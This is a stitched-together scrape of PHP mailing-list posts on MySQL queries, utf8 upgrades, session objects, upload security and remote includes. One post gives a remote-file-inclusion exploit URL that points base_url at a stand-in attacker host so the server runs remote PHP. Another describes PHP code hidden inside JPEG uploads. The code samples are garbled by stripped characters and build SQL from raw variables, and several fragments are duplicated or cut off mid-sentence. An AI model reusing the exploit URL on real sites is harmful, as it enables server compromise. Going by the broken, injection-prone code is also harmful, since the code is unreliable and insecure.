[PHP] MYSQL Query question
Table chat_online: session (varchar) activity (datetime) Table persons persons_region_int(int) Table regions region_id region_name On a page i list all persons which are in the chat_online dbase and within a certain period: $limit_time = time() - 130; // 2 Minutes time out. 60 * 2 = 120 $sqlchatonline = SELECT * FROM chat_online WHERE UNIX_TIMESTAMP(activity) = $limit_time AND (sessionid!='.session_id().'); $resultchatonline=mysql_query($sqlchatonline) or die (mysql_error()); $chatvisits = mysql_num_rows($resultchatonline); while($rowchatonline = mysql_fetch_object($resultchatonline)){ $chattersessionid=$rowchatonline-sessionid; //get the username, userid, mainpicid from the online chatter $getinfo= select * from persons where person_session_id='$chattersessionid'; $resultgetinfo = mysql_query($getinfo) or die (mysql_error()); $rowgetinfo= mysql_fetch_array($resultgetinfo); echo $rowgetinfo['person_nick']; } Now i want these online chatters to be listed by person_region_int: something like: region A chatter1 chatter2 region B none region C chatter3 chatter4 How do i do this? And a second question: I have created a menu box which lists all regions, if a option is selected by the user, i only want to show the online chatters of the selected region (selecting an option defines a variable $region which holds the region_id) Something like: if ($region) { $sqlchatonline = SELECT * FROM chat_online, persons WHERE UNIX_TIMESTAMP(chat_online.activity) = $limit_time AND (chat_online.sessionid!='.session_id().' AND (persons.persons_region_int='$region'); } This doe not give me the correct result: it shows all online chatters * total amount of users of that region. It should be all online chatters from that specified region And a last question: I always seem to get stuck on mysql queries when scripting. mysql.com gives me a headache whens earching something.

[PHP] PHP4 mysqli with mysql 4.1.7?
Hi, This message is a bit long, but I hope somebody could help me on this issue, thank you . I am using mysql 4.1.0(default-character-set=utf8) with PHP 4.3.3. All tables are using utf8 charset. I can insert, select and display the utf8 character without any problem using PHP, I used the normal mysql_query operation, NOT mysqli. Yes, msqyl_query works well in 4.1.0. Now, I upgraded to 4.1.7(default-character-set=utf8). I use mysql client and I can see all data in 4.1.7 are utf8. However, PHP shows all as ???. SHOW VARIABLES LIKE '%charset%' character_set_server utf8 character_set_system utf8 character_set_database utf8 character_set_client utf8 character_set_connection utf8 character_set_results utf8 collation_connection utf8_general_ci collation_database utf8_general_ci collation_server utf8_general_ci I struggled for a few days and finally discovered a message in mysql-lists by Marek Lewczuk(UTF-8 problem, 24/5/2004), he has the follwing in his PHP script: mysqli_query($c, SET CHARACTER SET utf8;); mysqli_query($c, SELECT * FROM db); I have never used mysqli before, and I found it is only avaliable in PHP5. I have several questions to ask: 1. Can I compile PHP4 with mysqli extention? Is there any tricks to do this? 2. Why mysql 4.1 + mysqli is recommended? But not the normal mysql extention? 3. If I upgrade to mysql 4.1.7 + PHP5, I need to rewrite all of my application to use mysqli instead of mysql? Any advise on this issue? 4. I see that we must use mysqli_query($c, SET CHARACTER SET utf8;); before any query, can I compile the mysqli extention to use utf8 as default? 5. In http://www.php.net/manual/en/ref.mysql.php I see a note: If you need charsets other than latin (default), you have to install external (not bundled) libmysql with compiled charset support. So, it means it is possible to use mysql_query to with utf8? 6. Any reason why I can use mysql_query with 4.1.0 without any problem? I know there are many questions, but I hope somebody could help me. And I believes there are lots of people having the same upgrade issue. if utf8 + 4.1.7 + mysqli_query is a must instead of 4.1.7 + mysql_query, I am sure that there will be lots of problem come up as most PHP applications are using mysql_query only.

[PHP] [SOLUTION] Re: [PHP] Objects and sessions
Thomas Munz wrote: I think, its not possible to init an Objeect on a session. Yes, it can. The problem was with serialization. With session.auto_start set to 1 on php.ini, seems like session's objects are unserialized before loading the script, so the class is not loaded when the session unserialized the object, and therefore it fails to unserialize it as an instance of its class. Setting session.auto_start to 0 on php.ini you should take care of resume sessions calling session_start() each time, but you can put that call after class definition, so the object will be unserialized after, so the problem is solved. This code works fine: ?php class SessionTestC { protected $value; function __construct ( $val ) { $this-value = $val; } function GetValue () { return $this-value; } } if ( isset ($_GET['close_session'])) { unset ($_SESSION); session_start (); session_destroy (); } session_start (); if ( isset ($_SESSION['TestObj'])) { echo 'TestObj is an instance of '.get_class($_SESSION['TestObj']).'br'; echo 'pre'; print_r ($SESSION['TestObj']); echo '/pre'; echo a href='.basename($_SERVER['PHP_SELF']).?close_session=1'Close session./abr; echo 'Session Test is set to: '.$_SESSION['TestObj']-GetValue().'br'; } else { echo 'Session Test was not set.br'; $_SESSION['TestObj'] = new SessionTestC ( 'This is a test' ); echo a href='.basename($_SERVER['PHP_SELF']).'Click here./abr; } ?

[PHP] allow_url_fopen ini directive not enough
Hi, I would like to see a new directive to go alongside allow_url_fopen to allow people to turn on or off the ability to include/require a remote file. The ability to include and execute a file as php from a remote host leaves many applications open to cross-site-scripting attacks. This would be easily avoidable if we had a directive (allow_url_include?) that by default removed this capability. Any thoughts?

[PHP] best practice question..
On this note - what is considered best practice in a - sent to friend type thing. i.e. User inputs their name + message + email + friends email into a html/flash form friend gets a link to read the message. currently I do this: 1 collect form input 2 create hash using the md5/uniqid method : $hash = md5(uniqid($key)); 3 input data to database table using the hash as the primary key value 4 send email to friend with link containing the hash 5 user clicks on link 6 hash read in from the $_GET object 7 hash used to select message details from DB and displayed to the user There's never a security issue here - i.e. i don't mind how many times / who reads the message, but just want to make it hard to just guess keys to read other messages (otherwise it would just be the db id) This method works for me, but is it the *right* way?

Further, I was assuming I should add the urldecode to the query string. As I had posted originally. From the example in the manual it appears I might to pass the params through a urldecode counter loop. Lastly, I wasn't concerned about the hex code, but I just made some reconnections of scripts. Users can save their search parameters. I am saving the query string. Now I had this set up before and the way it was working , is when the user wanted to view or edit their saved searches, the search page would come back with all the parameters filled in including shaded parameters in things like mult select lists and menu dropdowns.

[PHP] a question about the PHP manual

I've taken the often repeated 'RTFM' to heart, and I attempt to google or RTFM before considering a post to the list with a question, but now I have a question about the manual itself. I've noticed that most of the replies to the questions on this list, when they refer to a part of the manual, point to the same few sections over and over. Such as arrays, strings, sessions, objects, and a few others. My question is this, when I'm reading the manual, is just that I should be concentrating on a few sections (and if so, which?), or should I be giving equal attention to all the sections, including some (I suppose) I might never use. Thoughts? thanks, William -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Lastly, I wasn't concerned about the hex code, but I just made some reconnections of scripts. Users can save their search parameters. I am saving the query string. Now I had this set up before and the way it was working , is when the user wanted to view or edit their saved searches, the search page would come back with all the parameters filled in including shaded parameters in things like mult select lists and menu dropdowns. It's not working that way now , so my first suspicion is perhaps the hex is effecting it. All I can say to this is to re-iterate the point that your Web server should be decoding those %xx values before your script ever gets to see them. You *may* have to urlencode() values you write out that might one day form part of a clickable link -- but, because of the previous sentence, you should not yourself need to do the compensating urldecode() in the target script. Once again, this sounds like a situation where you need to be echoing out everything and anything of even the slightest relevance at the crucial spots of your script -- in the debugging phase, my scripts often have a bunch of debugging echoes every few lines, and some sections even end up with more temporary echoes than actual script! It's tedious wading your way through the screenfuls of output, but can be exceedingly illuminating of an elusive problem. Cheers!

Once PHP is installed, familiarity with Chapters 10 through 42 would furnish a really solid grounding. Then I'd look at the function list and focus on the functions applicable to your particular database and the error handling and logging functions. After that, it depends on your programming experience, as how one thinks in language a may be subtly different language b. Note that there are both directory and file system functions; the separation is logical, but sent me on a worried hunt a couple of years ago. Thus we reach the land of it depends on what you want or have to do. In closing, I'd recommend writing little test scripts so that you can do two things: 1. Figure out how to use the various functions and how they behave. 2. Then intentionally break them - knowledge of this behaviour can be just as important. Alternately, like many, dig out the info as it's needed. The problem with this approach is missing out on new and better ways of doing things, and you don't enrich your toolkit.

In the function reference, look in detail at the following sections: - Array functions - Date and Time functions - Directory Functions - Filesystem functions - String Functions - Variable Functions - plus the specific section for the database you want to use The above are all pretty common requirements in most PHP applications. Then skim though the following sections and come back to them when you need to use them: - Error Handling and Logging Functions - HTTP Functions - Miscellaneous Functions - Network Functions - Regular Expression Functions Then dig into the other sections in the function reference that interest you.

I would also: Track the sender IP address, and only allow N sends per time period T. Track the recipient email, and only allow M To:s per time period U. The point being to stop spammers from using your system to spam the world, or target specific victims. Is $key the ID in the database? You may want to consider adding in more randomness with mt_rand() as the manual suggests on the uniqid page -- You can still keep $key as part of the hash by doing: md5(uniqid($key| . mt_rand(), true)) Certainly sending the md5/uniquid as the only thing exposed is about as good as you can get for making sure that the other email URLs are guessable -- You do run the risk that sooner or later your md5/uniquid hash will collide with two emails on the same value. Easy enough to check the db and generate another hash if they do collide, so I'd add that in if you don't have it. Add a line after your md5(...) call and set $hash = '42' for testing purpose, then comment it out to go back to reality.

If an attacker gains access to remote trusted source and replaces it, then your decision to trust that source was faulty -- Which is neither helped nor hindered by the remote include function, really.

Re: [PHP] Re: PHP Security
Also, you *SHOULD* force the file to be saved on your server with the correct extension. If a user can upload a JPEG with .php on the end, or worse, with php in the middle of the filename, and then your server puts that file in the web tree or otherwise allows it to be executed, *YOU* (and your server admin) screwed up your security, not PHP. Trusting the name provided by the client is certainly a bad practice, but I wouldn't consider php in the middle of a filename to be worse than extension manipulation. I'm not sure what gave you that idea, but it's just not true. The original article, in another newsgroup/list, referenced a server seen by that author, where the SysAdmin had configured the server to use PHP to parse any file whose name contained 'php'. Not ending in '.php' ('.php$') Nor even ending in 'php' ('php$') But containing 'php' ('.*php.*'). phplogo.jpg, when surfed to, went through PHP. Real-life problem. Yes, that's a horribly-configured server. No, I don't think you'd have that on your server. But I'd bet at least one reader on this list misunderstands the Apache Files directive (with and without the ~) badly enough that they've got this gaping hole on their server. Now combine that with putting uploaded JPEGs in the web tree, and what have you got? My grammar in my post incorrectly put the 'or worse' near 'php in the middle' when it should have been near 'your server ... allows it to be executed' The real culprit, is, of course, the mis-configured server. But it takes two to tango, here, and throwing the JPEGs in the web tree should not be done unless you *NEED* to do that, for performance, after due consideration and a security audit to be *SURE* that the JPEGs cannot ever possibly get executed as PHP. Under *NO* circumstances should a file uploaded by an untrusted user be put into your web tree. You should *KEEP* it outside the web tree, and use PHP to http://php.net/readfile it when it needs to be displayed. Since you are using PHP's readfile function to *READ* the file, Apache won't have any chance to get fooled into thinking it's supposed to be a PHP file and be parsed by PHP. This is misleading. It is fine to put uploaded files within document root, and in fact many applications may require this. Using readfile() is not realistic except for small sites - the performance penalty alone makes this a poor approach, since it provides very little value. That being said, it's true that you should not trust the name provided by the client (or anything provided by the client), but this is much different than blind paranoia. If this perspective were applied to HTML forms, no one could use them. You don't take raw data from HTML forms and save the field values into your web tree do you? You scrub the incoming data from the web form and make sure, as much as possible for the given field, that it is benign, right? And you certainly don't http://php.net/eval that untrusted data from a user, do you? Then why in the world would you take an untrusted, unscrubbable, binary file and shove it into your web-tree?! Can you be 100% certain that ?php /* bad code here */ ? is not embedded in the JPEG? How? getimagesize() will tell you the JPEG headers are kosher, but not confirm that the JPEG itself is really really just JPEG data. Even viewing it would only, at best, show you an ugly JPEG. You could egrep for ?php.*?, and assume that that's not valid in any JPEG, but it probably actually *IS* valid in at least one real JPEG -- And if you allow JPEG comments, it would be trivial to have a zillion JPEGs that would pass any automated validation of JPEG-ness that have PHP code in the comment. What's to stop the bad guy from taking a valid JPEG, cramming PHP code into it, and then surfing to the image directly in such a way that the PHP code gets executed? Sure, your server configuration almost for sure doesn't have .jpg files going through the PHP parser. But if they can find a way to force that to happen: Altering an .htaccess file somewhere, or forcing one to be uploaded. Finding an old cgi-bin setup on the server. Getting the CLI PHP to execute the JPG as a script. It's hard to imagine that last one without them being able to just TYPE a PHP script, mind you, but some whack 'sudo' setup might do it. Think every SysAdmin who uses sudo really understands sudo completely? Hopefully, none of these things can be done on your server. If you are 100% certain that none of these could ever possibly occur, then you are confident that the JPEGs with PHP embedded will only be ugly JPEGs. But if there is any doubt in your mind that a malicious user could manage to get the JPEG to be passed through PHP (or Perl or ...) then you've got a risk there that may not be obvious to the casual Reader/Sysadmin/Programmer. Busy servers may have a performance problem with using the readfile solution -- But that's no excuse to expose that busy server by just throwing an
Re: [PHP] PHP Security
There are better ways to do this than parsing .jpg files as PHP. One obvious one is: http://example.org/image.php/foo.jpg I believe this broke on a very very very obscure version of IE -- Maybe even the re-branded IE I ran into one time [shudder]. In theory, it was just IE X.xx.yy, but it turned out to be *different* for some case involving rich media. I cannot for the life of me find the references from my day job four times removed to prove it, mind you, and maybe it was with PDF and not JPEG, but at some point, I just don't want to give browsers (or search engines) *ANY* realistic opportunity to spot .php and decide that my dynamic image is inferior/invalid. Another one that I've seen referenced frequently (especially back when this was a larger and more common problem) is this: http://example.org/image.php?iesucks=foo.jpg In the larger picture of rich media in general, this will fail miserable for dynamic PDFs. If I have to dink around with PATH_INFO for PDFs to behave, I might as well treat my JPEGs with the same code-base and use: http://example.com/image/iesucks/foo.jpg http://example.com/pdf/iesucks/foo.pdf Too many browsers, too many bugs == I'm not letting them waste my time any more on their stupidity. I wouldn't recommend that users configure servers to parse *ALL* *.jpg in a directory as PHP, of course. Ditto for *.pdf But to be sure the browser can't mess up, I'll cheerfully for image to be a PHP script and foo.jpg is just in the PATH_INFO, or for a one-off, force progress_meter.jpg to be a PHP script. I can't begin to estimate the number of hours I've wasted on browser bugs with rich media where they browser used the URL to do something incredibly stupid instead of just taking the valid data being sent and doing the right thing. -- Like Music? http://l-i-e.com/artists.htm -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

This may have meant meant hypothetically, meaning that there are two areas where flaws could potentially exist - in the language or in the code. If this was meant to suggest that there are existing flaws in the language, then this is never justified. I didn't find the statemtn to be unclear: that kind of flaw can exist, and it has been seen. There was, unless I've been severely misinformed, a file upload security bug in a PHP 4 Beta (possibly even Release Candidate). Did it make it to release? I'm sure anybody on this list can dig out that answer as fast as I, so I won't. You'll learn more finding out for yourself anyway. Now, granted, that flaw was fixed IMMEDIATELY. And, granted, a SysAdmin who chooses to put Beta software on a server is responsible for the inherent risks involved. The point, however, that such potential flaws can exist, and could remain undetected even now in stable, released code (even PHP) is valid. I personally don't *believe* such flaws could have survived the scrutiny after the known problems were suffered by the PHP Development Team. But I don't think any professionial will claim that it's impossible for them to exist.

The database vendors already have a cache you can use, and you're not going to beat their performance with your own in any kind of reasonable development time-frame. 2. You can't serialize the objects, connection, or result, from MySQL functions. I'm 100% certain of the connection object, and 99.9% certain of the result set object. Those objects go invalid when a script ends, no matter how you try to save them. You'll have to suck out all the data and store that. 3.

If you MUST push forward with a two-way socket, try to determine the state of the world inside your infinite loop. Why aren't you breaking out of that loop? Can you do *anything* to break out? I suspect that once you have started SENDING data to the server, it's going to just keep waiting for you to send more. How do you signal the end of your data to be sent?

I always forget, because they changed it around on POST/GLOBALS/etc at some point, but only on some of them.

Re: [PHP] allow_url_fopen ini directive not enough
OK, apologies on my part, I did not correctly explian the problem which can and has arisen from remote includes. I'll try to explain the problem that I have come across twice in the last couple of years both with popular software packages that I downloaded like thousands of others and both with exactly the same vunerability and both resulted in my site being comprimised and having to resort to backups. The vunerability occurred where both applications had a variable setting a base directory of the source code, which was used when including files throughout the application, i.e.: $base_url = '/home/example.com/www'; include_once ($base_url.'/config.php'); In config.php you would then have, for example: ?php include_once ($base_url.'/whatever.php'); ... ? Now in each instance register globals was on and all that was needed to comprimise the site was to have a variable passed in the url to set the base url to a remote site, which in turn output php to execute, i.e.: http://example.com/config.php?base_url=http://myhacksite.example.com Now, you are correct that education on how to avoid this kind of issue is key, however that does not avoid the problem. Turning of register globals would prevent many of these attacks, however there are still many apps out there that require register globals to be on and there are other ways to use this exploit with them off. Now all I'm saying is that given the potential for damage and , from my point of view, the little improvement that this feature actually provides, why would you NOT have a way of disabling it. I would if I could, and I know of others who would as well. Any thoughts?

It runs, there is no problem, but if I run that one: ?php print Welcome b $_POST[user] /b P\n\n; print Your address is:P\n\n b $_POST[address] /b; ? Only Welcome and Your address is printed.
